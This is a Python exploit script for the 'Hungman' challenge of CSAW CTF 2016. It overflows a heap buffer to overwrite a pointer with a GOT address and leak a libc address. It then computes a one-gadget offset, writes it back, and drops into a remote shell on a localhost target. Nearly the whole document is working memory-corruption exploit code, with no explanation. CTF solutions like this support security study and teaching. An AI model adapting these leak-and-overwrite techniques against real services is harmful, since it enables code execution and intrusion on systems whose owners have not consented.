[CSAW CTF 2016] Hungman

exploit.py

from No___Op import *

target = 'localhost:11111'

offset = {
    '__libc_start_main': 0x21e50,
    'system': 0x46590,
    '/bin/sh': 0x17c8c3, # str
    'scanf' : 0x00000000005dd10
}

c = Pwning( target )

c.recv()
c.sendall('A' * 128)
c.read_until('A' * 128)

leak_got = 0x602098

c.sendall('a')
c.recv()
c.sendall('a')
c.recv()
c.sendall('a')
c.recv()
c.sendall('a')
c.recv()
c.recv()
c.sendall('y')
c.sendall('a' * 144 + p32(0xffffffff) + p32(0x100) + p64(leak_got))

c.read_until('Highest player: ')

libc_leak = u64(c.recv(6) + '\0\0')
off = offset['scanf'] - 0xE66BD #one-gadget rce

c.sendall('y')
c.sendall('a')
c.sendall('a')
c.sendall('a')
c.sendall('a')
c.sendall('y')

time.sleep(0.1)

c.sendall(p64(libc_leak - off))

c.shell()